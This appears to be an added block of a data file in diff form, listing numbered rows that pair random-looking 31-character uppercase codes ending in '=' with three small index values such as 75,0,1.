+4736,A0EGXNOKBCXQ19UDG2V9R6XM3EB1K6G=,74,7,7 +4737,MMXS32XJBD3V0P3U704ZERENO0DGAHG=,75,0,0 +4738,4XD14Q018BYL2265436K5N2GRSODB1Y=,75,0,1 +4739,JFDB4JPL7HWQ3M7096I2X2H5ID010S9=,75,0,2 +4740,H5X6GMUJPMA0Y1PFEMXWM36P7M2109I=,75,0,3 +4741,YYB5NN0ERM9BLUYAYDIEXQ03T158N4X=,75,0,4 +4742,IKG25OEO0CBI1MSXUBW08QHFD8M2KMO=,75,0,5 +4743,WQOWEEPNL5IG7J3B4BNSC5QBM7CGXUX=,75,0,6 +4744,9C9RGWB9E3F5M6ZS0X1N4KD4QVAE6WW=,75,0,7 +4745,57D4D5QVQAEMGY4TS7QADACPXQQ47SF=,75,1,0 +4746,UZW8CTJFLIBVF2VVMC2FYEJORWQNN3C=,75,1,1 +4747,ILS31QL78XECE2DO48JTF9LH3ULPSLC=,75,1,2 +4748,0QMZ5L261SPO0190Q7K7PXB80ZV4SJN=,75,1,3 +4749,R6U4691W5YXCLM6GCRK9C0B577K1W0Z=,75,1,4 +4750,PWD27D7KPHTPUY1V7MR466DTB9DO1MD=,75,1,5 +4751,JX9DP94FYTHKUS9WUD2DEPHM8QI1K3T=,75,1,6 +4752,F64SSY5TY0450V9ENJKIGH8RP3508SF=,75,1,7 +4753,1RUBKCG6XZBS37JSX8X1XK7BVMIQERL=,75,2,0 +4754,W3MZZJ59F3S57QX64A6TOY822NNNWY9=,75,2,1 +4755,YKAEQC633X9JL36ZZAYUYUBKJ2TZFBR=,75,2,2 +4756,ZXLYV6MSK7I080YFW8DYY5CH7VJPMKC=,75,2,3 +4757,NOW0RD1208OA7Y5UH4TJQY3J8GT1G3U=,75,2,4 +4758,862442Z43HT3NCQWJ2IPQMKDR0371AL=,75,2,5 +4759,1TRJO1EXQOQ58YABS9O7MU5AUX5TQSH=,75,2,6 +4760,6KZIVYR7976PE4APUNH3BZKR2DH7467=,75,2,7 +4761,9A90JC115UO1C6BEB0NFM7SDQL7K1WY=,75,3,0 +4762,VKXKFG9431H4P5PCA0A9E1LKKSEP5Y3=,75,3,1 +4763,P3081CYOG9XZN7RRIIQXM3MQ05LHWHL=,75,3,2 +4764,TZHCH0BHTUBZ2Y6WXH32DKFZX899LHY=,75,3,3 +4765,IIL8NOSL0YBUGER70X7G3S5XEY5TOQB=,75,3,4 +4766,6O7AWCGRT8E9B45XZYWY63RKZBS1463=,75,3,5 +4767,0SC3CBHWXKHNNVCNLPF092RMJFY6N83=,75,3,6 +4768,AI80Q0RSQP39DBJJ7HG9U726VCIENVB=,75,3,7 +4769,Y1QNT71JL61EURAHZAK4F9S14J7KT6S=,75,4,0 +4770,7418EA7BY5B0073SODGO6S0AA8SK7ZC=,75,4,1 +4771,GLB41VGIBCSEX93CKK7U9UDUJK82989=,75,4,2 +4772,TXANBKFHT5ECU0DLU28U2B9TEW8HPB8=,75,4,3 +4773,N2U769MZJ3UE43W5UPNBQQ0HIC2LCRT=,75,4,4 +4774,0G6ZTR9YJLOOXUIUNOAXBHBJCC3E3EK=,75,4,5 +4775,ST65EJMX9XCW7UPUQSZP6G22DPJVV9P=,75,4,6 +4776,QAIG917A6N7O3O9FHQXA1200ZC34DK7=,75,4,7 +4777,KS2T29Z4KXQHVZLMHARB94RW6EA647K=,75,5,0 +4778,TNSNGFXS0J43LX4ZYA1TCCRAWT3BOL5=,75,5,1 +4779,ISNA3339749NYDT34P5GTGQCBWY4OP9=,75,5,2 +4780,5BQDJ0I99SFM3PI2VYW8KFNG8USXZ3F=,75,5,3 +4781,X6QFDJNWRP21ZTV15RTRCF4BURZRYF6=,75,5,4 +4784,W2BBXL6PB5TOYBWUBZ1B9NR34QQFPT8=,75,5,7 +4785,LXBDS2O1SKZT8F5QA5L7MZ9CVTZYA8X=,75,6,0 +4786,NESGGB34L4V2TTU9F1L9WI5C54CUSDA=,75,6,1 +4787,IVQWQDVR4UCWAAJPZ49FX0RBNK9R1TL=,75,6,2 +4788,56P32QN2119HWZUTIR1L40M1T0D39M8=,75,6,3 +4789,4THGS96KHJBXFK49ZIO58UFGNZMJ778=,75,6,4 +4790,JBH1P7M4S9ZYN0E8BTURLFUSXC4N7JQ=,75,6,5 +4791,FR7O8CQHFYI930QMZNM9RCCVETY80MS=,75,6,6 +4792,XLBHQ8FEM96L6QBJTMM6AJTO1P2G8TZ=,75,6,7 +4793,T8O54VMFDGMAR0SZNPOA4EMHHSVTSHA=,75,7,0 +4794,X9KE22A3NSL67E3FZ7QQXTLRBTVY6Q1=,75,7,1 +4795,7XQ52WCQQIHSCIH70K1Q91COU7EEIVD=,75,7,2 +4796,3L0TZCNRVNKDZ94YHG0GUM184WHK9HN=,75,7,3 +4797,ML02O2R13NYLGAZI60SEXB6D8OEI0LE=,75,7,4 +4799,BY5WJXXTKNP7Z016YEH4TUBS36FR2PP=,75,7,6 +4800,UAO34N4NNRTZEGVOK4RPFJAU3KLFHLI=,75,7,7 +4801,W7NIBNONX8OTJ8SJ5A7Z99F2CKPDF47=,76,0,0 +4802,TOKW0B445F4H81UQK24ZFPVEBBNAPNF=,76,0,1 +4803,DY8AWC95KBCQRFSR2T7XGPYHFYLS5D4=,76,0,2 +4804,9B9OIVW9ZG2N297FTJ640VF7IDDNNXV=,76,0,3 +4805,PW2W5LO1COZXNWEY3U3CCK2P5SDZD0N=,76,0,4 +4806,LW4BLELG2LOUZ263SH5MDQP4AHZ6924=,76,0,5 +4807,600DA73E5J3PIDNGN1XAU315MWTWR2F=,76,0,6 +4808,YYROGS0WQZQ7K9EIPKLW87ZJ8UP3HLP=,76,0,7 +4809,5D9IQTSCXGULVV9ZJFHSF6GT321A7I8=,76,1,0 +4810,LEW7RGBC9F1M0O7TZLMNA4BBTVM5WBH=,76,1,1 +4811,PXU51XLCTRVTM43R9T00ZDK6KUQE00Q=,76,1,2 +4812,0UPVUQWYOUU41LTSOAPZL40CXERW884=,76,1,3 +4813,VAMYXT6SGJ4C4NGU0GEB2935ZQE52B9=,76,1,4 +4814,NLBQB7VK53985AY28KQC7AM7ATQNL54=,76,1,5 +4815,Z4TTGTVUE3FZ900X1YG1WSU63FLA9V6=,76,1,6 +4816,IAOPLOP79ENIU16X6JYINJVRZI0DNVW=,76,1,7 +4817,UC2OTKHNMY8ZQ724WUIN7L8K2M3SZR9=,76,2,0 +4818,PBUSXQ44JQQ4NJ1KASM5HN0OKFPTT4A=,76,2,1 +4819,Z1NSSMWE5STZ232MZZHBBI6X3HR0808=,76,2,2 +4820,DT689PISB5LH3VZMZBORPQPTEX1CYY2=,76,2,3 +4821,3MHUS1DOO10YZDBAU4F1KGRNGVPI2H5=,76,2,4 +4822,B8ZPC69WZUYKF4XK9P0DWBGBY76UKLR=,76,2,5 +4823,95CONCX50DKSXCWGN69U0PI137V3E0A=,76,2,6 +4824,IR05QQG4WKZ2HA8GYRZMR8HJYDQVH4M=,76,2,7 +4825,OAZUOVZJRLFMGNRA6FU2JVG2Z9M53I9=,76,3,0 +4826,6CZSQTXCCLH3I6JDVKTQSD7BH455AV7=,76,3,1 +4827,6I6KGHH7P1XBKT4KRYONY80R49584YE=,76,3,2 +4828,59EU8O3TKORGFOQ4T8WVTP55CYJG3GM=,76,3,3 +4829,SX3MJF914IPCR15YBCGPVP9KLPZRRO4=,76,3,4 +4830,0G51ZCN4QXAZMRUQW793VGMCUAE4YST=,76,3,5 +4831,IJ4B5PPD7F8LBY6376PVLCG109ZL44P=,76,3,6 +4832,3Y5ZB40KBGL94ZRWSB7KVA0BTMJN9T1=,76,3,7 +4833,DMMZQKMO1TESSRYKLNG82H72UY3A4BE=,76,4,0 +4834,ID5GVXA6535D2YPIE5V7XO3CG8APL1X=,76,4,1 +4835,03UHFTD66NKZR3PF1JSX854GHW70CWA=,76,4,2 +4836,HHNMU7RTXGGTQXOQJRCFNRP0I920H5M=,76,4,3 +4837,8KD17WUWKJG59M8JYL4TQYD7W4AK8F4=,76,4,4 +4838,TUR0BNO3J0UOCYS2IF8O1ZWUIGQ29O7=,76,4,5 +4839,RH2MATZKT2CVD1UGIWAFB6HWOWLMK3W=,76,4,6 +4840,B1JMGAZJBDTG1SFJ4WYCOAKFM2SI2RE=,76,4,7 +4841,BDT1LCHE3595N1EDVJAIYRGD7YIWTTP=,76,5,0 +4842,JU48TEEXHW9O7SB29KNAUCKBXYE2YJE=,76,5,1 +4843,MQ36DWSX2118GUMA4OVEEW6IXIAZQDV=,76,5,2 +4844,X45JQBK9AGZTTRU78YTB40ZRNXWXHT6=,76,5,3 +4845,I1FF8YZLG2C1IDMW3D2W6MQZZWVFTIH=,76,5,4 +4848,5BO54V6Y5E9FRMVWDMOJAR88TVS3W68=,76,5,7 +4849,0VGVJJCBUDC2055Y86LBGS8WCKOT7GW=,76,6,0 +4850,3HT992132IPWJHP5Y5UPFUVG6CAWK4Y=,76,6,1 +4851,H9AP14G65WECKYA51H8BBZYTGDV0449=,76,6,2 +4852,AU68EFRG09Q07X7H4BDJXZ7CM1M6QVP=,76,6,3 +4853,TL4EE3RGGRZMTYHP2HXN5O9KBPQRC99=,76,6,4 +4854,430QZKLMIG0AAA23JC4RPE0G6EO6I44=,76,6,5 +4855,9DHI6J1CYSJWGIZ9JY3Z4A5T5K2FENP=,76,6,6 +4856,IOUDX7AWLSFJJ8UYLV7K7CKJW98PXSI=,76,6,7 +4857,IHHN7OS02QH7HAVI7C4VVWS13ENE1T4=,76,7,0 +4858,LR8JT1CYSOVVSG8U9O4QUET9ZNO8HTH=,76,7,1 +4859,FEVWA283S27NMNMADZ0DK6ID50HQ5XA=,76,7,2 +4860,A4NFMPKPQZURA60IWAFMB0I49JU7CMP=,76,7,3 +4861,S190PRQ89HQETUL2094KTX19362NABG=,76,7,4 +4862,8YY5U7INM7OUVAP44NH88HMM102XMIY=,76,7,5 +4863,YOSG12XYKQ0CU4WE89CF6CTDQ01POZ0=,76,7,6 +4864,TJ03VJJPF1LKIOM2K03C5ABU2PKQ96Z=,76,7,7 +4865,552ESMC29Z6XJVT8NGBLSBC6AIIHJ78=,77,0,0 +4866,ZSLS12TYD8AR953S88HE0EJJXLGEYR0=,77,0,1 +4867,ITAP3FDUYS5IY1V39H2X7ZFRYOL09DR=,77,0,2 +4868,IP1AWSCYQODH6G0AT7XRWEBMXYFL6ZU=,77,0,3 +4869,GQA5GBBLYIFEMCRBWBVUQEH7KDX9RY3=,77,0,4 +4870,I15AE6XVBJBPRHD03NI9PMX03IYSNJG=,77,0,5 +4871,T21BQ1XMBA0001NYZA41VKV5O9FT6P4=,77,0,6 +4872,6IXP8RZSI7O0JP0ZVJI35IHCFCZ1CG3=,77,0,7 +4873,HQBAXY01W4NPYQK85YHOAAR2VLA4TKA=,77,1,0 +4874,049JKKHYCEVVKMCURQIP7T3H26WXTIH=,77,1,1 +4875,YS1KGPZI1RXBC9TKIA6SMV1B040Q2UL=,77,1,2 +4876,Q8DNZ3ILSO8NE1OSIYQS7EXNVOPSIWE=,77,1,3 +4877,3KVH6AMLMV1YPC204QEOYMEML1OCCWD=,77,1,4 +4878,Q6N6VKKGS76LUMP4UTR13CEIVFEYPWQ=,77,1,5 +4879,ALWCKG1GCQL17YNRBDMR7G2EAXVEK3I=,77,1,6 +4880,SXH1GFLTJNI5W5FDHPRNVT85ARSJQRD=,77,1,7 +4881,SEBTVTQ1YRXK6PV7AUXN635DUPDB6C0=,77,2,0 +4882,6NV2E1E3QM7I7Z1OC87H2Q0KW10NZKR=,77,2,1 +4883,2YKEGROCQ2MLKKELPWC7Q5ATIBHPROG=,77,2,2 +4884,6FBIK0PSVRZF1VF1QNLPSGMDMQQRUSL=,77,2,3 +4885,M11W12E7PF76A8S892M797AJVN1E1XI=,77,2,4 +4886,05CTGGTPXMIHJJQHKNMB656XL6JGQJZ=,77,2,5 +4887,5G65HF8T58JT39MP15EGBV8E2L5WBW7=,77,2,6 +4888,TLO4G26KIBW1QMY61G7BG1FRZEBWKRU=,77,2,7 +4889,HKW4J15SHBN5O7AX1DB8CLOE5MM70DD=,77,3,0 +4890,C3WT8TDQ6K3FPY4CZ4KQKTC8OBFDWNH=,77,3,1 +4891,HIFDRUO4P2VOL04G1TK2NHIRT2SV172=,77,3,2 +4892,T739G3C2CHCPOMBPPYLUH0FSWVCYLR9=,77,3,3 +4893,MP8U6CDWTOIR4K1EJ7OLQH47OEXN0MD=,77,3,4 +4894,2YRPJFZCW9PX7ANQTCN34WBVD1CZLNT=,77,3,5 +4895,C50RRO1XN59GNOWKNEC8EAO5CCP1F5O=,77,3,6 +4896,XR8SZGG5NVVXDUEO9BIY59EKINRFH2R=,77,3,7 +4897,LB66BMKX6J16HZRCYYSAMTZAJIWEMR6=,77,4,0 +4898,265QYRCO3KAYYJVH8QVO6CCJ4NJDVK1=,77,4,1 +4899,GGCV8G9QN6JOXDH6L41HHWR4S5Y0YYF=,77,4,2 +4900,1981T6GHVQ9Z5DUTCAT1RG48MF5J3HB=,77,4,3 +4901,3ITSZFVF5A4O7XOUHXWO4JAUTKRA3XA=,77,4,4 +4902,I8G8NWJM4IYW4XPU7IRAKFPDJ4I9OVI=,77,4,5 +4903,DC8E6XG93BN1TGZHS6W3QVC9ONT7273=,77,4,6 +4904,5FQ9W8GQHMRJNVYS16GC5AROXMU56A5=,77,4,7 +4905,G6VOGACS9H3OIHXW78XHZPRHRCLDAFH=,77,5,0 +4906,R0Y4WF0WDQ3KU836GR8611TDIYOLZNU=,77,5,1 +4907,SPY5K6Q7MOKNAF6Q1Y5371PH6UY7Z5B=,77,5,2 +4908,I3WI49Q77I3EHIE2CMJRRF0GC1MCOCC=,77,5,3 +4909,Q69F5SP1RTLSGCX0Q0E0DJBGE7ITRBI=,77,5,4 +6593,NEVL8Y7FSUTS25JX94MB6P756EF3S1D=,104,0,0 +6594,N9PYV49QPKW8UCP9B7NKOX77EMT6UKD=,104,0,1 +4912,QDL6HNPW4M7BRSJKVULEQ7PB8V3WVV3=,77,5,7 +4913,QOYHEJCAJBNY7NEXRI1CXJYYDD2FQDL=,77,6,0 +4914,YIP23FQMQ6P7QZK2TAJP714JMVHRLHV=,77,6,1 +4915,IUN8WKHRG8ONQZ1IOPTWDQNTRU5VVA7=,77,6,2 +4916,AFQDTIP118RUXS0FD75Q9F41ZB36CNP=,77,6,3 +4917,UZ1KH9QHXOR0UPU2CNNCIWTUKIS8YBW=,77,6,4 +4918,74WOHEF5KT23HE7PW2K906BY4Z6460T=,77,6,5 +4919,B5M99B895XVHFHF8YEJZJD5PRWSL426=,77,6,6 +4920,M4GUAQD5J35M1FGQTI7LRD1LGJN56YI=,77,6,7 +4921,5U3V7KK2A5XSWZSKRNKQENZ7M85OWPC=,77,7,0 +4922,IDDUF9CO5HOU33D3FAMT61EK5Y2EUOJ=,77,7,1 +4923,980LN0835FQCK3MJILVFE0C5I7F8ILU=,77,7,2 +4924,2QDIMYWW0ZJDCPMB152N1WJJBOLH8TE=,77,7,3 +4925,83KANZ84Z0FM0VLIFQK8CPV7A6BZNU8=,77,7,4 +4926,C75N5N3NADSE3J4Y6YFMYAHE2TX1Q8V=,77,7,5 +6595,TJT3M8MIANVV0PR24WFRKVIW31LG3LC=,104,0,2 +4928,0XM2V07CIRJD1FDBAQNVN4NDRDYD2PO=,77,7,7 +4929,IEKDOW8RBSL98W6R9R5T9KWB3CDUVG4=,78,0,0 +4930,0878USCZO7GIBEFNE9G5HKYLT8KWNGX=,78,0,1 +4931,NHBOIC1SCERAGU2N7TZCNMKTSQPOUQT=,78,0,2 +4932,9EDS26KLPT1SCKQ65DR1Y9I1GC4ISDZ=,78,0,3 +4933,H1F7FGAPK2PZC31PE6ETB0NFSL4578F=,78,0,4 +4934,BOULGFC01KBO9CFTJB63J86MS5CB6S4=,78,0,5 +4935,DI22FSK7A65677PG822BNR6TOFV3YS4=,78,0,6 +4936,UDCM0GU3DCVXHBJ13H3WDVFU9BMLNIE=,78,0,7 +4937,I5NVCHZ4Y5UDEQW1C7853J4S3EW6LZO=,78,1,0 +4938,FMBI4XV0GNZGDTRKAA7YI4NWRA5CZIH=,78,1,1 +4939,SJLIT61CPOCPOJ22DFQ47KZJOQI4WPW=,78,1,2 +4940,WDW1MMUQFB5GPW80MI1PDTCB8RFZWUC=,78,1,3 +4941,MS5P1QPU6Z5IUKIX1WCS4078ILGA8HZ=,78,1,4 +4942,0HCMHGO0Y2NEST4326DX7582AIL8H8I=,78,1,5 +4943,6ITNCA2T0W4ZAPV7I76FETX6Q6QX8HI=,78,1,6 +4944,1KRWIEMD2M62ES78F2D01TMA6THL96A=,78,1,7 +4945,GRAKUBLH4X1JO4DBMYQYZ9KRIY5ASOE=,78,2,0 +4946,HGRVCAGGQAQ306SEEDOE8XX5V08QC33=,78,2,1 +4947,NRPOBXKIHEYPD3ED0P6O8PU1HO3ZSXP=,78,2,2 +4948,XPJ2FU5TY4DQ1V28F8POLB8BTTGGUKE=,78,2,3 +4949,YI7OBQAHZELN97685I0BCIB3SHA4MM3=,78,2,4 +6596,2APM1LINUVBQRWSNJ4NPCYRK3RO5BG5=,104,0,3 +4952,56AQD4PIXLRI75NJRO4DXOYCDGZ2042=,78,2,7 +4953,JA5TMSXRQ0YTZXJ0BAUZ2OPNNQS9WO1=,78,3,0 +4954,JUR3G0Q20V2ECL9J5QV65ZQQBZAZ5KX=,78,3,1 +4955,QPUIELSVIMT8ZC26HSFZDBBEQDIUDZV=,78,3,2 +4956,DNA7OVHD6ELIQRZ5S5NP0YXX7S5A5DN=,78,3,3 +4957,OBFBLCVVOJM47HR8E6EYOVFKUFZ9E6M=,78,3,4 +4958,1DWTKBPOC2BPBROZDJRQDWADIRQDH0X=,78,3,5 +4959,CS9YF8L8O9DEGHACQYN84G0LXU57S4B=,78,3,6 +4960,HOS35I7LWEWAVZOQ2GKP5L6GKXQDSBI=,78,3,7 +4961,8PPB5T31GMBR1N74HIGWOG3RQXJXDQ5=,78,4,0 +4962,U9VYL53DRAUKVVUJ88F0D1IKXJGO9G9=,78,4,1 +4963,7ST0WN1HBMXNN62ESIYXLM3TJLI23HB=,78,4,2 +4964,Q0X88J9TDG5DTNEH20R4KPXQ8FV05RS=,78,4,3 +4965,W8N8KTZ0V2Y3OZEXDHLSVG1XZF5SU75=,78,4,4 +4966,5ICF6G1YFP1WHXLDIHGW7L93GYK62GG=,78,4,5 +4967,O7DRVSFPEW4S7Y2LYCYM8DMVZ4Y60Z7=,78,4,6 +4968,XCLH0V0CN4JB5TI1BHSMYARRAK2MZB1=,78,4,7 +4969,W8TAA9FH70F1IQZ1Y85NN6IDAGIT1MY=,78,5,0 +4970,JWP5VLPLBES8BJ6ABDIZ9E8HFHWUO6O=,78,5,1 +4971,IW8RZ3SOSVLO6DFHQ745QUXQUB106SM=,78,5,2 +4972,JDRDUTELM1ZL0AWB7EI6536FW1KSQDD=,78,5,3 +4973,VX97JNFKSIVGEQJBI43UX9U4OWFRLN1=,78,5,4 +4976,CZ1YS78ONZDDD7CCHUV4H35WNQE8DOT=,78,5,7 +4977,K4NF61LBJLV0KRSV2LP6AEYVF7JZVT5=,78,6,0 +4978,U18MFW34KS3PQLK0TW9MT8FLMKQP849=,78,6,1 +4979,N6WEEVYL99LWGZZ9HHD66STAFWUE5V8=,78,6,2 +4980,VXIWF5EX68YILCON0IWWSFMMAATCP88=,78,6,3 +4981,515NGAPZL5V69L15O7JS4MSE207I669=,78,6,4 +4982,06B4H3T0W13KJAK0U3WPBGGWM9TJZC3=,78,6,5 +4983,1XELCKA5JSUWFL9UBFNR86W11SMKR9E=,78,6,6 +4984,YEDHKGSLWG6UU3Z8X3033EFR5OZ5UCI=,78,6,7 +4985,6QYVCU5XMKSTVT8KEYKTQMR6EDTUM5N=,78,7,0 +4986,HDJ7XQPGCV9U02R3KTIE1S8C1BRTMBH=,78,7,1 +4987,BPOE23JXXD2H068K3PB8BMBICTSA3VD=,78,7,2 +4988,Q5B1AMKSZZJ4OAY7NOUZY16XRK0X1FA=,78,7,3 +4989,C742S7VYRZR1ZSK9VUYUAACKA6K5P2J=,78,7,4 +4990,M6UKEE1FDA0PVXPWYYFM5U7YGRTEQPI=,78,7,5 +4991,VBTBS86RQ62HED7YITGNATBD5SEHMWG=,78,7,6 +4992,U9BVVFWZACXYGDYVBR9HF2TKJRAG1EN=,78,7,7 +4993,FH8VL58YZQN3JZKLDPE5EV99TI3BOO5=,79,0,0 +4994,FJKS7QCZPOT0E48SGWWZ2Q2FX6EU3FF=,79,0,1 +4995,72YKZMRICS8P3YNN5VUWXKWI8TNLDTC=,79,0,2 +4996,FJ205IJ8YDQJ9KCIMQQMPFIL3Z64KJA=,79,0,3 +4997,RZIM52LPMDJ4QQ52HKXQ9BBEQ434HMI=,79,0,4 +4998,FDRMPW27T5VTRSVTY0FZU0O29L89S76=,79,0,5 +4999,7Q05LHXGT8XZ7374AERCT2CT7XQ4DTP=,79,0,6 +5000,CNC38CIZS5IDF4J6Y7GJB21OGXPUOTF=,79,0,7 +5001,Z782NAIGYC3TABBDHMJ2UVRK2JGT01E=,79,1,0 +5002,WN2W1OUXV0HYS1ZG9WRZHQC4OY4T89T=,79,1,1 +5003,0DGJ8274FW33188IRIHI034Z1TT1TH0=,79,1,2 +5004,UAKSJMUA0F3AB29ANPKQG7W3257XX0V=,79,1,3 +5005,LMIEFCWDUTDUFVGQP93E2QNVKU9OGK2=,79,1,4 +5006,LBMENVB443WMBAO88JTBJ2JMHGAK5Z6=,79,1,5 +5007,8N8JSJRJGAF50INWXMPK5I16HW3NMTB=,79,1,6 +5008,D7SWPNSPWZVFRT30VPUBE4RU1L3G32N=,79,1,7 +6597,PKS2F9T1Z51FQ30PMBUEAF5DN57XPBW=,104,0,4 +6598,2K6R9WNCLVXN2NQMMJWNIBBWQ7YFTMX=,104,0,5 +5017,24UIDIVGH3YPEPZT4912EAWG7VFVNJX=,79,3,0 +5018,XW3WB5V6RS7189CE6L0A15TCVWDB514=,79,3,1 +5019,80HARV2REPYS8423LC0G0LAKAN24QYB=,79,3,2 +5020,RTHUZ82M2I5JFWJ9KKTG166MGJYDPWB=,79,3,3 +5021,CW7JZYNO6KB7X366LWCB81JCOSAW8YO=,79,3,4 +5022,UGEBX4MXIQR2NSUVQK5IIJ9S5QVILVH=,79,3,5 +5023,ABDJ0MR1Q6YS7KJ8VWY93FINN8RCTEB=,79,3,6 +5024,5SKXIDOQYG73VROM703ISQAHZBVEPUN=,79,3,7 +5025,P11GAAI8DI6GNIINDZ5LH54FLHCGYFP=,79,4,0 +5026,XCH02Q9XHKKQYVTCKLSZJ77JQK92QR9=,79,4,1 +5027,RVAJHDKE6A7YOAJAAILPB8672XHAO1O=,79,4,2 +5028,AHXZL5EVH8CVNCTDIS07LRPUBAV7DS4=,79,4,3 +5029,CR030DNMTP5JCIU15VNOUQ1QDVQBL7M=,79,4,4 +5030,KLYN5I6M9MCZKIPXW1AKCI43S80XQ3A=,79,4,5 +5031,NNF03DR7T39AKE6W1WA01FFRYWG5R3O=,79,4,6 +5032,2CCNYFYGAMKLT3BARBULIS5VYQTBPHK=,79,4,7 +5033,SYEYV8785EEDEPZPS6EKH5RJ0BTH7NJ=,79,5,0 +5034,PXOOX908ZSQJ0C9CSXUKFL09F08MD0X=,79,5,1 +5035,PTUL4NL8I42ZREON75761VR8QSAL7M7=,79,5,2 +5036,8917EUD8LLHDN7BNTUNLK5829X5OWVM=,79,5,3 +5037,IIH4V3CMGU791078YP11K21JTKCXT4R=,79,5,4 +5040,YDW001I8903XDB1F0Z54XPPAP0F7AE5=,79,5,7 +5043,53D4AMITRYE0BJN935TAO1SXBC6P88R=,79,6,2 +5044,J5ZTJTGAHNUST7OGH3NYDEPDQGBH28Q=,79,6,3 +5045,KGYBK5AR9Z0PNG355YSVRGABNW6MJ93=,79,6,4 +5046,6G6EF0ZBHGPFCHNX99QUVJ5MRB1I0G3=,79,6,5 +5049,AQTMZKPD3AMP8PV3SX4G64JIP9MLZFL=,79,7,0 +5050,LCJ3Q5JYUZ9ZNK46BUIK93WFFKLXBW9=,79,7,1 +5051,KVQEOKOA40TO48WEU6MKB4FKQSGVRCW=,79,7,2 +5052,DMCK1GZB6Y9SE6GJ993LK07BXQ3MD06=,79,7,3 +5053,06O2EV03M25090Q08S3GFXLSYGLBOW5=,79,7,4 +5056,JZFRSUVXZXKQVZL1APCRZP01VCQ1BIE=,79,7,7 +5057,FAKLB86TJ6MCD8MVFQAVNQ4TWLU5S6K=,80,0,0 +5058,JK0BABN2PVH8JYBF35AP7RO6HBC9MBB=,80,0,1 +5059,YRDEHT6ZBC2SBW8XG7JHDPZZPY02HS1=,80,0,2 +5060,TP9523X845KLVM23D4U7P0TX0SR7MC8=,80,0,3 +5061,062NSEFPIIV0TWMTG5LHW18A3Q9X46I=,80,0,4 +5062,ASIK34XP1YJX080V3VSGFPGBYMQ8VB2=,80,0,5 +5063,DLD1R5J8I40WGT7N4ZEFGSYX7HFJ1P2=,80,0,6 +5064,26W51YLKFFDVECQLO6AYH1KO6YE0JDE=,80,0,7 +5065,5K7BNHLNZBO0HWVTSP0HI7W6X5UT5Z3=,80,1,0 +5066,OK6B2Y6CT18XA7OOZJXSZ2CPYXVL3BR=,80,1,1 +5067,3CC317QSZKICSRY7L0O2X7I26CRFZI1=,80,1,2 +5068,DE9VJ2TMBNG147P0X9170HRXRFXO245=,80,1,3 +5069,NP5O7VH0SAXZ2OOFXUB7RGTF40043OU=,80,1,4 +5072,WV0MU232SX1O4DQRVKE6P33Y9590FJI=,80,1,7 +5073,L56192MJ2X74QOBT7HPODVM5ICZDKJH=,80,2,0 +5074,CTG391L4CPROHITIQWAMEL5APIK84NS=,80,2,1 +5075,EY9UT3Q4GODYW98A06JFKYB4JSL5CLS=,80,2,2 +5076,65EMFZRHA7LPSXQM5GT1PM9O7ZOQLY8=,80,2,3 +5077,8J8W0BSJ07DCUIBG4NVH667G533WANW=,80,2,4 +5078,W9XFZQEQQYFVK1DPUOBVCQQ5NS42CYE=,80,2,5 +5079,Y4UZSSZCI2421JRMVLF2S5LRY0NLG4T=,80,2,6 +5080,TED4VZQ5PW6F6648HB3X2G7VTGU3Z2K=,80,2,7 +5081,QG0U56MG0F8I40YTS5RXPJK1RJMWFLB=,80,3,0 +5082,G9N1585FYY8NH97S4ZH3RBJDZ9B86A7=,80,3,1 +5083,WWRC5KP0RHI1Q6R5EP1VEAB3JNN9EVK=,80,3,2 +5084,6YB44G4EY6RSYGL083PE6FI9QHK1F8U=,80,3,3 +5085,1A382ZVDN6UGZYWVTZZ7UP84HPD4B7W=,80,3,4 +5086,B99E2UPRKXIS0ENDDSL3JSL1CS4LERZ=,80,3,5 +5087,WPDU71PIZPK42LIWE7ZKKAEI4DFVKK4=,80,3,6 +5088,SU4N6HM129T4XTEMBK4CSP240IQ9QJL=,80,3,7 +5089,LL2ZQ2QT06XQLTDBVCMYS45F5ABUSCD=,80,4,0 +5090,XXS8JJ56N772TZERM1MZA7MWDAQH0FU=,80,4,1 +5091,0JZLY29ZUCP1YYDES2AUC9A2KCBA2TV=,80,4,2 +5092,HIKN2NHT3ZPMISYSAHS9XUFWTJ2MWQV=,80,4,3 +5093,Q1CDHPPFIUREOLWK1CSX71N5VORJCVU=,80,4,4 +5094,09HVQMNO2S5ZZK3XIZI5UBS1F9YZZE3=,80,4,5 +5095,G0JRCI9WVIYX6EUACCCVWFLA2Q1GBKV=,80,4,6 +5096,NNK03MQ7IWDZYBVN76KZPY8YCP7GZPM=,80,4,7 +5097,IIYCRJPXWHMH8SIJTLQPXDCC9RFZ085=,80,5,0 +5098,SN60I2O9SRWLW48TGYN8OP93W9Z7TQ4=,80,5,1 +5099,O8XIIKTBLNTCHLBFRGZWY93U0SJCOPT=,80,5,2 +5100,K7PO6ME2VPKLI9CVA0522JO69GZQA6L=,80,5,3 +5101,ZTGDYOJV6383G36120U5O1DU37OZZH7=,80,5,4 +6599,FP789L9AN8RBWK4PWLKVUYMMNXEZH6Y=,104,0,6 +6600,NDCF1YKB16CP79ECCZ572Q14YZKN9M4=,104,0,7 +5104,UH5Q8QKNR7H49VZL4X6UAROBWYW8IYT=,80,5,7 +5113,5ZKAIMLJWGYU2G1A001YJG4CE37N98Z=,80,7,0 +5114,HRUA57W7OOFOML4EFG31QGBDACT4VNM=,80,7,1 +5115,ZCIWQ68MZJAQ26CR0AZH15VOWTGP4D9=,80,7,2 +5116,QHTVNBSMALU2PM8PM1A6GDKZ88Y3DLD=,80,7,3 +5117,CH3O9YTWA0NKAWK059MYWI28WOA8WTM=,80,7,4 +5119,70RECACO6EJ28W8S539QHL2TKB91NQ0=,80,7,6 +5120,THEP3G89GJ2JZLKZJKJ8O868LYU4Z6K=,80,7,7 +5121,WGO64SLQ1HIQQRWGB7GBMUY9VW9VFZS=,81,0,0 +5122,0I2MROF8HS4548V7Q4XY92IIW1AT5DT=,81,0,1 +5123,7C562D6KB0R6CF158Q3GLM5N8Y705LW=,81,0,2 +5124,L53I815BVJTZ2WXZVGEPBSSRN5V0I8W=,81,0,3 +5125,AK6X61LXIFBQ9GKP8PCJAS8LN4C1SNK=,81,0,4 +5126,HV5ZTWNR3ZNGXBKCVQQL494V2NYVPPR=,81,0,5 +5127,YXZHYATMTCDYIQRNT8AUBV7SY1G13U2=,81,0,6 +5128,681WIZMW9ECCLD8SD2HJRG1XPNIUQIG=,81,0,7 +5129,JF3Z37AFC0IJKASSUKMWJM941S2BC43=,81,1,0 +5130,K793BHE8IHGC7WMZGZ1OA2OTH293Y81=,81,1,1 +5131,V0FSEEVACEL6IKYSZAQQEMS1SAL4OJH=,81,1,2 